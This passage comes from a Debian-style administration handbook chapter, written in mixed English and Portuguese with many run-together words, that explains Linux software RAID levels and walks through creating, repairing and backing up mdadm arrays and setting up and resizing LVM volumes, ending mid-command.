RAID can be implemented either bydedicated hardware (RAID modulesintegrated into SCSI or SATAcontroller cards) or by softwareabstraction (the kernel). Whetherhardware or software, a RAID system

with enough redundancy cantransparently stay operational when adisk fails; the upper layers of the stack(applications) can even keep accessingthe data in spite of the failure. Ofcourse, this “degraded mode” can havean impact on performance, andredundancy is reduced, so a furtherdisk failure can lead to data loss. Inpractice, therefore, one will strive toonly stay in this degraded mode for aslong as it takes to replace the faileddisk. Once the new disk is in place, theRAID system can reconstruct therequired data so as to return to a safemode. The applications won't noticeanything, apart from potentiallyreduced access speed, while the array is

in degraded mode or during thereconstruction phase.

12.1.1.1. Diferentes Níveisde RAID

RAID tem realmente vários níveis,diferenciados por sua disposição e daquantidade de redundância que elesfornecem. Quanto mais redundante,mais à prova de falhas, uma vez que osistema será capaz de continuar atrabalhar com mais discos de falha. Acontrapartida é que reduz o espaçoutilizável; visto de outra forma, maisdiscos serão necessários paraarmazenar a mesma quantidade de

dados.

RAID Linear

Even though the kernel's RAIDsubsystem allows creating “linearRAID”, this is not proper RAID,since this setup doesn't involveany redundancy. The kernelmerely aggregates several disksend-to-end and provides theresulting aggregated volume asone virtual disk (one blockdevice). That's about its onlyfunction. This setup is rarely usedby itself (see later for theexceptions), especially since thelack of redundancy means that one

disk failing makes the wholeaggregate, and therefore all thedata, unavailable.

RAID-0

This level doesn't provide anyredundancy either, but disks aren'tsimply stuck on end one afteranother: they are divided instripes, and the blocks on thevirtual device are stored on stripeson alternating physical disks. In atwo-disk RAID-0 setup, forinstance, even-numbered blocks ofthe virtual device will be stored onthe first physical disk, while odd-numbered blocks will end up on

the second physical disk.

This system doesn't aim atincreasing reliability, since (as inthe linear case) the availability ofall the data is jeopardized as soonas one disk fails, but at increasingperformance: during sequentialaccess to large amounts ofcontiguous data, the kernel will beable to read from both disks (orwrite to them) in parallel, whichincreases the data transfer rate.However, RAID-0 use isshrinking, its niche being filled byLVM (see later).

RAID-1

This level, also known as “RAIDmirroring”, is both the simplestand the most widely used setup. Inits standard form, it uses twophysical disks of the same size,and provides a logical volume ofthe same size again. Data arestored identically on both disks,hence the “mirror” nickname.When one disk fails, the data isstill available on the other. Forreally critical data, RAID-1 can ofcourse be set up on more than twodisks, with a direct impact on theratio of hardware cost versusavailable payload space.

NOTA Discos e tamanhos de

cluster

Se dois discos de tamanhosdiferentes são criados em umespelho, o maior não será totalmenteusado, pois ele irá conter os mesmosdados como o menor e nada mais. Oespaço útil disponível fornecido porum volume RAID-1, portanto,corresponde ao tamanho do discomenor na matriz. Isso ainda valepara volumes RAID com um maiornível RAID, apesar de redundânciaé armazenada de forma diferente.

Por isso é importante, ao configurararrays RAID (exceto RAID-0 "RAIDlinear"), só montar discos detamanhos idênticos, ou muito perto,para evitar o desperdício derecursos.

NOTA Discos de reposição

RAID levels that includeredundancy allow assigning moredisks than required to an array. Theextra disks are used as spares whenone of the main disks fails. Forinstance, in a mirror of two disksplus one spare, if one of the first twodisks fails, the kernel willautomatically (and immediately)reconstruct the mirror using thespare disk, so that redundancy staysassured after the reconstructiontime. This can be used as anotherkind of safeguard for critical data.

One would be forgiven forwondering how this is better thansimply mirroring on three disks to

start with. The advantage of the“spare disk” configuration is thatthe spare disk can be shared acrossseveral RAID volumes. For instance,one can have three mirroredvolumes, with redundancy assuredeven in the event of one disk failure,with only seven disks (three pairs,plus one shared spare), instead ofthe nine disks that would berequired by three triplets.

This RAID level, althoughexpensive (since only half of thephysical storage space, at best, isuseful), is widely used in practice.It is simple to understand, and itallows very simple backups: sinceboth disks have identical contents,

one of them can be temporarilyextracted with no impact on theworking system. Readperformance is often increasedsince the kernel can read half ofthe data on each disk in parallel,while write performance isn't tooseverely degraded. In case of aRAID-1 array of N disks, the datastays available even with N-1 diskfailures.

RAID-4

This RAID level, not widely used,uses N disks to store useful data,and an extra disk to storeredundancy information. If that

disk fails, the system canreconstruct its contents from theother N. If one of the N data disksfails, the remaining N-1 combinedwith the “parity” disk containenough information to reconstructthe required data.

RAID-4 isn't too expensive sinceit only involves a one-in-Nincrease in costs and has nonoticeable impact on readperformance, but writes areslowed down. Furthermore, sincea write to any of the N disks alsoinvolves a write to the parity disk,the latter sees many more writesthan the former, and its lifespan

can shorten dramatically as aconsequence. Data on a RAID-4array is safe only up to one faileddisk (of the N+1).

RAID-5

RAID-5 resolve o problema deassimetria do RAID-4: a paridadede blocos é distribuída por todosos N+1 discos, sendo que nenhumtem um papel particular.

A performance de leitura e escritasão idênticas ao RAID-4. Aquinovamente, o sistema continuafuncional mesmo com a falha deum disco (do N+1), mas não mais.

RAID-6

RAID-6 pode ser considerado umaextensão do RAID-5, onde cadasérie de N blocos envolvem doisblocos redundantes, e cada sériede N+2 blocos e distribuída sobreN+2 discos.

This RAID level is slightly moreexpensive than the previous two,but it brings some extra safetysince up to two drives (of theN+2) can fail withoutcompromising data availability.The counterpart is that writeoperations now involve writingone data block and two

redundancy blocks, which makesthem even slower.

RAID-1+0

This isn't strictly speaking, aRAID level, but a stacking of twoRAID groupings. Starting from2×N disks, one first sets them upby pairs into N RAID-1 volumes;these N volumes are thenaggregated into one, either by“linear RAID” or (increasingly)by LVM. This last case goesfarther than pure RAID, but there'sno problem with that.

RAID-1+0 pode sobreviver commúltiplas falhas nos discos: até N

na 2xN série descrita acima,provendo ao menos um discofuncional em cada par de RAID-1.

Aprofundando RAID-10

RAID-10 is generally considered asynonym of RAID-1+0, but a Linuxspecificity makes it actually ageneralization. This setup allows asystem where each block is storedon two different disks, even with anodd number of disks, the copiesbeing spread out along aconfigurable model.

A performance variará dependendoda escolha do modelo de repartiçãoe do nível de redundância, e dacarga de trabalho do volume lógico.

Obviamente, o nível de RAID seráescolhido de acordo com as restrições erequerimentos de cada aplicação. Noteque um computador sozinho pode terdiversos tipos de RAIDs distintos comdiversas configurações.

12.1.1.2. Configurando umRAID

Setting up RAID volumes requires themdadm package; it provides themdadm command, which allowscreating and manipulating RAIDarrays, as well as scripts and toolsintegrating it to the rest of the system,

including the monitoring system.

Nossos exemplo será um servidor comum número de discos, sendo que algunsjá estão em uso, e o resto estádisponível para a configuração doRAID. Nós inicialmente temos osseguintes discos e partições:

o disco sda, 4 GB, estãodisponíveis;o disco sde, 4 GB, também estãodisponíveis;no disco sdg, somente a partiçãosdg2 (cerca de 4 GB) estádisponível;finalmente, o disco sdh, aindacom 4 GB, disponíveis.

Iremos usar estes elementos físicospara criar dois volumes, um RAID-0 eum espelho (RAID-1). Comecemoscom o volume RAID-0:

NOTA Identificando os volumes RAIDexistentes

O arquivo /proc/mdstat lista os volumesexistentes e seus estados. Quando criandoum novo volume RAID, devemos tomarcuidado para não nomeá-lo da mesmamaneira que um volume existente.

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sda /dev/sde

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md0 started.

# mdadm --query /dev/md0

/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md0

/dev/md0:

Version : 1.2

Creation Time : Thu Sep 30 15:21:15 2010

Raid Level : raid0

Array Size : 8388480 (8.00 GiB 8.59 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Thu Sep 30 15:21:15 2010

State : active

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Chunk Size : 512K

Name : squeeze:0 (local to host squeeze)

UUID : 0012a273:cbdb8b83:0ee15f7f:aec5e3c3

Events : 0

Number Major Minor RaidDevice State

0 8 0 0 active sync /dev/sda

1 8 64 1 active sync /dev/sde

# mkfs.ext4 /dev/md0

mke2fs 1.41.12 (17-May-2010)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

Stride=0 blocks, Stripe width=0 blocks

524288 inodes, 2097152 blocks

104857 blocks (5.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=2147483648

55 block groups

32768 blocks per group, 32768 fragments per group

8160 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Writing inode tables: done

Creating journal (32768 blocks): done

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 26 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

# mkdir /srv/raid-0

# mount /dev/md0 /srv/raid-0

# df -h /srv/raid-0

Filesystem Size Used Avail Use% Mounted on

/dev/md0 8.0G 249M 7.4G 4% /srv/raid-0

The mdadm --create commandrequires several parameters: the nameof the volume to create (/dev/md*,with MD standing for MultipleDevice), the RAID level, the number ofdisks (which is compulsory despitebeing mostly meaningful only withRAID-1 and above), and the physical

drives to use. Once the device iscreated, we can use it like we'd use anormal partition, create a filesystem onit, mount that filesystem, and so on.Note that our creation of a RAID-0volume on md0 is nothing butcoincidence, and the numbering of thearray doesn't need to be correlated tothe chosen amount of redundancy.

A criação do RAID-1 segue estilosimilar, as diferenças somente serãonotadas após a criação:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdg2 /dev/sdh

mdadm: largest drive (/dev/sdg2) exceed size (4194240K) by more than 1%

Continue creating array? y

mdadm: array /dev/md1 started.

# mdadm --query /dev/md1

/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Thu Sep 30 15:39:13 2010

Raid Level : raid1

Array Size : 4194240 (4.00 GiB 4.29 GB)

Used Dev Size : 4194240 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Thu Sep 30 15:39:26 2010

State : active, resyncing

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Rebuild Status : 10% complete

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 27

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

1 8 112 1 active sync /dev/sdh

# mdadm --detail /dev/md1

/dev/md1:

[...]

State : active

[...]

DICA RAID, discos e partições

Como ilustrado pelo nosso exemplo,dispositivos RAID podem ser construídosà partir de partições de disco, e nãonecessitam discos inteiros.

Algumas observações em ordem.Primeiro, mdadm nota que os

elementos físicos possuem tamanhosdiferentes; já que isso implica quealgum espaço será perdido no maiorelemento, uma confirmação énecessária.

More importantly, note the state of themirror. The normal state of a RAIDmirror is that both disks have exactlythe same contents. However, nothingguarantees this is the case when thevolume is first created. The RAIDsubsystem will therefore provide thatguarantee itself, and there will be asynchronization phase as soon as theRAID device is created. After sometime (the exact amount will depend onthe actual size of the disks…), the

RAID array switches to the “active”state. Note that during thisreconstruction phase, the mirror is in adegraded mode, and redundancy isn'tassured. A disk failing during that riskwindow could lead to losing all thedata. Large amounts of critical data,however, are rarely stored on a freshlycreated RAID array before its initialsynchronization. Note that even indegraded mode, the /dev/md1 isusable, and a filesystem can be createdon it, as well as some data copied on it.

DICA Começando um espelho em modoreduzido

Sometimes two disks are not immediatelyavailable when one wants to start a RAID-

1 mirror, for instance because one of thedisks one plans to include is already usedto store the data one wants to move to thearray. In such circumstances, it is possibleto deliberately create a degraded RAID-1array by passing missing instead of adevice file as one of the arguments tomdadm. Once the data have been copiedto the “mirror”, the old disk can be addedto the array. A synchronization will thentake place, giving us the redundancy thatwas wanted in the first place.

DICA Configurando um espelho semsincronização

RAID-1 volumes are often created to beused as a new disk, often consideredblank. The actual initial contents of thedisk is therefore not very relevant, since

one only needs to know that the datawritten after the creation of the volume, inparticular the filesystem, can be accessedlater.

One might therefore wonder about thepoint of synchronizing both disks atcreation time. Why care whether thecontents are identical on zones of thevolume that we know will only be readafter we have written to them?

Fortunately, this synchronization phasecan be avoided by passing the --assume-clean option to mdadm. However, thisoption can lead to surprises in caseswhere the initial data will be read (forinstance if a filesystem is already presenton the physical disks), which is why itisn't enabled by default.

Now let's see what happens when oneof the elements of the RAID-1 arrayfails. mdadm, in particular its --failoption, allows simulating such a diskfailure:

# mdadm /dev/md1 --fail /dev/sdh

mdadm: set /dev/sdh faulty in /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Thu Sep 30 15:45:50 2010

State : active, degraded

Active Devices : 1

Working Devices : 1

Failed Devices : 1

Spare Devices : 0

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 35

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

1 0 0 1 removed

2 8 112 - faulty spare /dev/sdh

The contents of the volume are stillaccessible (and, if it's mounted, theapplications don't notice a thing), butthe data safety isn't assured anymore:should the sdg disk fail in turn, thedata would be lost. We want to avoidthat risk, so we'll replace the faileddisk with a new one, sdi:

# mdadm /dev/md1 --add /dev/sdi

mdadm: added /dev/sdi

# mdadm --detail /dev/md1

/dev/md1:

[...]

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Thu Sep 30 15:52:29 2010

State : active, degraded, recovering

Active Devices : 1

Working Devices : 2

Failed Devices : 1

Spare Devices : 1

Rebuild Status : 45% complete

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 53

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

3 8 128 1 spare rebuilding /dev/sdi

2 8 112 - faulty spare /dev/sdh

# [...]

[...]

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Thu Sep 30 15:52:35 2010

State : active

Active Devices : 2

Working Devices : 2

Failed Devices : 1

Spare Devices : 0

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 71

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

1 8 128 1 active sync /dev/sdi

2 8 112 - faulty spare /dev/sdh

Here again, the kernel automaticallytriggers a reconstruction phase duringwhich the volume, although stillaccessible, is in a degraded mode. Oncethe reconstruction is over, the RAIDarray is back to a normal state. One canthen tell the system that the sdh disk isabout to be removed from the array, soas to end up with a classical RAIDmirror on two disks:

# mdadm /dev/md1 --remove /dev/sdh

mdadm: hot removed /dev/sdh from /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

1 8 128 1 active sync /dev/sdi

From then on, the drive can bephysically removed when the server isnext switched off, or even hot-removedwhen the hardware configurationallows hot-swap. Such configurationsinclude some SCSI controllers, mostSATA disks, and external drivesoperating on USB or Firewire.

12.1.1.3. Fazendo Backup daConfiguração

Most of the meta-data concerningRAID volumes are saved directly onthe disks that make up these arrays, sothat the kernel can detect the arrays andtheir components and assemble them

automatically when the system startsup. However, backing up thisconfiguration is encouraged, becausethis detection isn't fail-proof, and it'sonly expected that it will fail preciselyin sensitive circumstances. In ourexample, if the sdh disk failure hadbeen real (instead of simulated) and thesystem had been restarted withoutremoving this sdh disk, this disk couldstart working again due to having beenprobed during the reboot. The kernelwould then have three physicalelements, each claiming to contain halfof the same RAID volume. Anothersource of confusion can come whenRAID volumes from two servers areconsolidated onto one server only. If

these arrays were running normallybefore the disks were moved, thekernel would be able to detect andreassemble the pairs properly; but ifthe moved disks had been aggregatedinto an md1 on the old server, and thenew server already has an md1, one ofthe mirrors would be renamed.

Backing up the configuration istherefore important, if only forreference. The standard way to do it isby editing the/etc/mdadm/mdadm.conf file, anexample of which is listed here:

Example 12.1. mdadm arquivo deconfiguração# mdadm.conf

#

# Please refer to mdadm.conf(5) for information about this file.

#

# by default, scan all partitions (/proc/partitions) for MD superblocks.

# alternatively, specify devices to scan, using wildcards if desired.

DEVICE /dev/sd*

# auto-create devices with Debian standard permissions

CREATE owner=root group=disk mode=0660 auto=yes

# automatically tag new arrays as belonging to the local system

HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts

MAILADDR root

ARRAY /dev/md0 metadata=1.2 name=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3:c91f20ee

ARRAY /dev/md1 metadata=1.2 name=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00d9a432

One of the most useful details is theDEVICE option, which lists the devices

where the system will automaticallylook for components of RAID volumesat start-up time. In our example, wereplaced the default value,partitions, with an explicit list ofdevice files, since we chose to useentire disks and not only partitions, forsome volumes.

The last two lines in our example arethose allowing the kernel to safely pickwhich volume number to assign towhich array. The metadata stored onthe disks themselves are enough to re-assemble the volumes, but not todetermine the volume number (and thematching /dev/md* device name).

Felizmente, estas linhas podem sergeradas automaticamente:

# mdadm --misc --detail --brief /dev/md?

ARRAY /dev/md0 metadata=1.2 name=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3:c91f20ee

ARRAY /dev/md1 metadata=1.2 name=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00d9a432

The contents of these last two linesdoesn't depend on the list of disksincluded in the volume. It is thereforenot necessary to regenerate these lineswhen replacing a failed disk with a newone. On the other hand, care must betaken to update the file when creatingor deleting a RAID array.

12.1.2. LVM

LVM, the Logical Volume Manager, isanother approach to abstracting logicalvolumes from their physical supports,which focuses on increasing flexibilityrather than increasing reliability. LVMallows changing a logical volumetransparently as far as the applicationsare concerned; for instance, it ispossible to add new disks, migrate thedata to them, and remove the old disks,without unmounting the volume.

12.1.2.1. Conceitos sobreLVM

Esta flexibilidade é atingida graças aonível de abstração envolvendo três

conceitos.

First, the PV (Physical Volume) is theentity closest to the hardware: it can bepartitions on a disk, or a full disk, oreven any other block device. Note thatwhen a physical element is set up to bea PV for LVM, it should only beaccessed via LVM, otherwise thesystem will get confused.

A number of PVs can be clustered in aVG (Volume Group), which can becompared to disks both virtual andextensible. VGs are abstract, and don'tappear in a device file in the /devhierarchy, so there's no risk of usingthem directly.

The third kind of object is the LV(Logical Volume), which is a chunk ofa VG; if we keep the VG-as-diskanalogy, the LV compares to apartition. The LV appear as blockdevice with an entry in /dev, and it canbe used as any other physical partitioncan be (most commonly, to host afilesystem or swap space).

The important thing is that the splittingof a VG into LVs is entirelyindependent of its physical components(the PVs). A VG with only a singlephysical component (a disk forinstance) can be split into a dozenlogical volumes; similarly, a VG canuse several physical disks and appear

as a single large logical volume. Theonly constraint is that obviously thetotal size allocated to LVs can't bebigger than the total capacity of thePVs in the volume group.

It often makes sense, however, to havesome kind of homogeneity among thephysical components of a VG, and tosplit the VG into logical volumes thatwill have similar usage patterns. Forinstance, if the available hardwareincludes fast disks and slower disks,the fast ones could be clustered intoone VG and the slower ones intoanother; chunks of the first one canthen be assigned to applicationsrequiring fast data access, while the

second one will be kept for lessdemanding tasks.

In any case, keep in mind that an LVisn't particularly attached to any onePV. It is possible to influence wherethe data from an LV are physicallystored, but this possibility isn'trequired for day-to-day use. On thecontrary: when the set of physicalcomponents of a VG evolves, thephysical storage locationscorresponding to a particular LV can bemigrated across disks (while stayingwithin the PVs assigned to the VG, ofcourse).

12.1.2.2. Configurando um

LVM

Let us now follow, step by step, theprocess of setting up LVM for a typicaluse case: we want to simplify acomplex storage situation. Such asituation usually happens after somelong and convoluted history ofaccumulated temporary measures. Forthe purposes of illustration, we'llconsider a server where the storageneeds have changed over time, endingup in a maze of available partitionssplit over several partially used disks.In more concrete terms, the followingpartitions are available:

no disco sdb, uma partição sdb2,

4 GB;no disco sdc, uma partição sdc3,3 GB;o disco sdd, 4 GB, completamentedisponíveis;no disco sdf, uma partição sdf1,4 GB; e uma partição sdf2, 5 GB.

Complementando, vamos assumir queos discos sdb e sdf são mais rápidosdo que os outros dois.

Our goal is to set up three logicalvolumes for three differentapplications: a file server requiring5 GB of storage space, a database(1 GB) and some space for back-ups(12 GB). The first two need good

performance, but back-ups are lesscritical in terms of access speed. Allthese constraints prevent the use ofpartitions on their own; using LVM canabstract the physical size of thedevices, so the only limit is the totalavailable space.

As ferramentas necessárias estão nopacote lvm2 e suas dependência.Quando os mesmos estivereminstalados, configurarar o LVM terátrês etapas, cobrindo três níveis deconceitos.

Primeiro, nós preparamos o volumesfísicos utilizando pvcreate:

# pvdisplay

# pvcreate /dev/sdb2

Physical volume "/dev/sdb2" successfully created

# pvdisplay

"/dev/sdb2" is a new physical volume of "4,00 GiB"

--- NEW Physical volume ---

PV Name /dev/sdb2

VG Name

PV Size 4.00 GiB

Allocatable NO

PE Size (KByte) 0

Total PE 0

Free PE 0

Allocated PE 0

PV UUID 9JuaGR-W7jc-pNgj-NU4l-2IX1-kUJ7-m8cRim

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created

Physical volume "/dev/sdd" successfully created

Physical volume "/dev/sdf1" successfully created

Physical volume "/dev/sdf2" successfully created

# pvdisplay -C

PV VG Fmt Attr PSize PFree

/dev/sdb2 lvm2 a- 4.00g 4.00g

/dev/sdc3 lvm2 a- 3.09g 3.09g

/dev/sdd lvm2 a- 4.00g 4.00g

/dev/sdf1 lvm2 a- 4.10g 4.10g

/dev/sdf2 lvm2 a- 5.22g 5.22g

Até agora tudo bem; note que o PV(volume físico) pode ser configuradoem um disco inteiro assim como empartições individuais do mesmo. Comodemonstrado acima, o comandopvdisplay lista os PVs existentes, comdois possíveis formatos de saída.

Now let's assemble these physicalelements into VGs using vgcreate.We'll gather only PVs from the fastdisks into a vg_critical VG; theother VG, vg_normal, will also include

slower elements.

# vgdisplay

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created

# vgdisplay

--- Volume group ---

VG Name vg_critical

System ID

Format lvm2

Metadata Areas 2

Metadata Sequence No 1

VG Access read/write

VG Status resizable

MAX LV 0

Cur LV 0

Open LV 0

Max PV 0

Cur PV 2

Act PV 2

VG Size 8.14 GB

PE Size 4.00 MB

Total PE 2084

Alloc PE / Size 0 / 0

Free PE / Size 2084 / 8.14 GB

VG UUID 6eG6BW-MmJE-KB0J-dsB2-52iL-N6eD-1paeo8

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created

# vgdisplay -C

VG #PV #LV #SN Attr VSize VFree

vg_critical 2 0 0 wz--n- 8.14g 8.14g

vg_normal 3 0 0 wz--n- 12.30g 12.30g

Here again, commands are ratherstraightforward (and vgdisplayproposes two output formats). Notethat it's quite possible to use twopartitions of the same physical diskinto two different VGs. Note also thatwe used a vg_ prefix to name our VGs,but it's nothing more than a convention.

Nós agora temos dois "discos virtuais",com o tamanho de 8 GB e 12 GB,respectivamente.Vamos transformá-losem "partições virtuais" (LVs). Istoenvolve o comando lvcreate, e umasintaxe um pouco mais complexa:

# lvdisplay

# lvcreate -n lv_files -L 5G vg_critical

Logical volume "lv_files" created

# lvdisplay

--- Logical volume ---

LV Name /dev/vg_critical/lv_files

VG Name vg_critical

LV UUID 4QLhl3-2cON-jRgQ-X4eT-93J4-6Ox9-GyRx3M

LV Write Access read/write

LV Status available

# open 0

LV Size 5.00 GB

Current LE 1280

Segments 2

Allocation inherit

Read ahead sectors auto

- currently set to 256

Block device 253:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created

# lvcreate -n lv_backups -L 12G vg_normal

Logical volume "lv_backups" created

# lvdisplay -C

LV VG Attr LSize Origin Snap% Move Log Copy% Convert

lv_base vg_critical -wi-a- 1.00G

lv_files vg_critical -wi-a- 5.00G

lv_backups vg_normal -wi-a- 12.00G

Two parameters are required whencreating logical volumes; they must bepassed to the lvcreate as options. Thename of the LV to be created isspecified with the -n option, and itssize is generally given using the -L

option. We also need to tell thecommand what VG to operate on, ofcourse, hence the last parameter on thecommand line.

Aprofundamento lvcreate opções

O comando lvcreate possui diversasopções que permitem manipular como oLV é criado.

Let's first describe the -l option, withwhich the LV's size can be given as anumber of blocks (as opposed to the“human” units we used above). Theseblocks (called PEs, physical extents, inLVM terms) are contiguous units ofstorage space in PVs, and they can't besplit across LVs. When one wants todefine storage space for an LV with some

precision, for instance to use the fullavailable space, the -l option willprobably be preferred over -L.

It's also possible to hint at the physicallocation of an LV, so that its extents arestored on a particular PV (while stayingwithin the ones assigned to the VG, ofcourse). Since we know that sdb is fasterthan sdf, we may want to store thelv_base there if we want to give anadvantage to the database servercompared to the file server. The commandline becomes: lvcreate -n lv_base -L 1Gvg_critical /dev/sdb2. Note that thiscommand can fail if the PV doesn't haveenough free extents. In our example, wewould probably have to create lv_basebefore lv_files to avoid this situation –or free up some space on sdb2 with thepvmove command.

Volumes lógicos, quando criados, sãorepresentados como dispositivos deblocos no /dev/mapper/:

# ls -l /dev/mapper

total 0

crw-rw---- 1 root root 10, 59 5 oct. 17:40 control

lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_critical-lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_critical-lv_files -> ../dm-0

lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_normal-lv_backups -> ../dm-2

# ls -l /dev/dm-*

brw-rw---- 1 root disk 253, 0 5 oct. 18:14 /dev/dm-0

brw-rw---- 1 root disk 253, 1 5 oct. 18:14 /dev/dm-1

brw-rw---- 1 root disk 253, 2 5 oct. 18:14 /dev/dm-2

NOTA Auto-detectando volumes LVM

When the computer boots, the/etc/init.d/lvm script scans the

available devices; those that have beeninitialized as physical volumes for LVMare registered into the LVM subsystem,those that belong to volume groups areassembled, and the relevant logicalvolumes are started and made available.There is therefore no need to editconfiguration files when creating ormodifying LVM volumes.

Note, however, that the layout of the LVMelements (physical and logical volumes,and volume groups) is backed up in/etc/lvm/backup, which can be useful incase of a problem (or just to sneak a peekunder the hood).

Para simplificar, links simbólicos sãoconvenientemente criados em

diretórios que coincidem com os VGs:

# ls -l /dev/vg_critical

total 0

lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_files -> ../dm-0

# ls -l /dev/vg_normal

total 0

lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_backups -> ../dm-2

Os LVs então podem ser utilizadosexatamente como partições padrão:

# mkfs.ext4 /dev/vg_normal/lv_backups

mke2fs 1.41.12 (17-May-2010)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

[...]

This filesystem will be automatically checked every 34 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

# mkdir /srv/backups

# mount /dev/vg_normal/lv_backups /srv/backups

# df -h /srv/backups

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_normal-lv_backups

12G 159M 12G 2% /srv/backups

# [...]

[...]

# cat /etc/fstab

[...]

/dev/vg_critical/lv_base /srv/base ext4

/dev/vg_critical/lv_files /srv/files ext4

/dev/vg_normal/lv_backups /srv/backups ext4

Do ponto de vista das aplicações, amiríade de pequenas partições foiabstraída em um grande volume de 12GB, com um nome amigável.

12.1.2.3. LVM ao longo do

tempo

Even though the ability to aggregatepartitions or physical disks isconvenient, this is not the mainadvantage brought by LVM. Theflexibility it brings is especiallynoticed as time passes, when needsevolve. In our example, let's assumethat new large files must be stored, andthat the LV dedicated to the file serveris too small to contain them. Since wehaven't used the whole space availablein vg_critical, we can growlv_files. For that purpose, we'll usethe lvresize command, then resize2fsto adapt the filesystem accordingly:

# df -h /srv/files/

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files

5.0G 4.6G 142M 98% /srv/files

# lvdisplay -C vg_critical/lv_files

LV VG Attr LSize Origin Snap% Move Log Copy% Convert

lv_files vg_critical -wi-ao 5.00g

# vgdisplay -C vg_critical

VG #PV #LV #SN Attr VSize VFree

vg_critical 2 2 0 wz--n- 8.14g 2.14g

# lvresize -L 7G vg_critical/lv_files

Extending logical volume lv_files to 7.00 GB

Logical volume lv_files successfully resized

# lvdisplay -C vg_critical/lv_files

LV VG Attr LSize Origin Snap% Move Log Copy% Convert

lv_files vg_critique -wi-ao 7.00g

# resize2fs /dev/vg_critical/lv_files

resize2fs 1.41.12 (17-May-2010)

Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required

old desc_blocks = 1, new_desc_blocks = 1

Performing an on-line resize of /dev/vg_critical/lv_files to 1835008 (4k) blocks.

The filesystem on /dev/vg_critical/lv_files is now 1835008 blocks long.

# df -h /srv/files/

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files

6.9G 4.6G 2.1G 70% /srv/files

CUIDADO Redimensionando sistemasde arquivos

Not all filesystems can be resized online;resizing a volume can therefore requireunmounting the filesystem first andremounting it afterwards. Of course, ifone wants to shrink the space allocated toan LV, the filesystem must be shrunkfirst; the order is reversed when theresizing goes in the other direction: thelogical volume must be grown before thefilesystem on it. It's ratherstraightforward, since at no time must thefilesystem size be larger than the block

device where it resides (whether thatdevice is a physical partition or a logicalvolume).

The ext3, ext4 and xfs filesystems can begrown online, without unmounting;shrinking requires an unmount. Thereiserfs filesystem allows online resizingin both directions. The venerable ext2allows neither, and always requiresunmounting.

We could proceed in a similar fashionto extend the volume hosting thedatabase, only we've reached the VG'savailable space limit:

# df -h /srv/base/

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base

1008M 835M 123M 88% /srv/base

# vgdisplay -C vg_critical

VG #PV #LV #SN Attr VSize VFree

vg_critical 2 2 0 wz--n- 8.14g 144.00m

No matter, since LVM allows addingphysical volumes to existing volumegroups. For instance, maybe we'venoticed that the sdb1 partition, whichwas so far used outside of LVM, onlycontained archives that could be movedto lv_backups. We can now recycle itand integrate it to the volume group,and thereby reclaim some availablespace. This is the purpose of thevgextend command. Of course, thepartition must be prepared as aphysical volume beforehand. Once the

VG has been extended, we can usesimilar commands as previously togrow the logical volume then thefilesystem:

# pvcreate /dev/sdb1

Physical volume "/dev/sdb1" successfully created

# vgextend vg_critical /dev/sdb1

Volume group "vg_critical" successfully extended

# vgdisplay -C vg_critical

VG #PV #LV #SN Attr VSize VFree

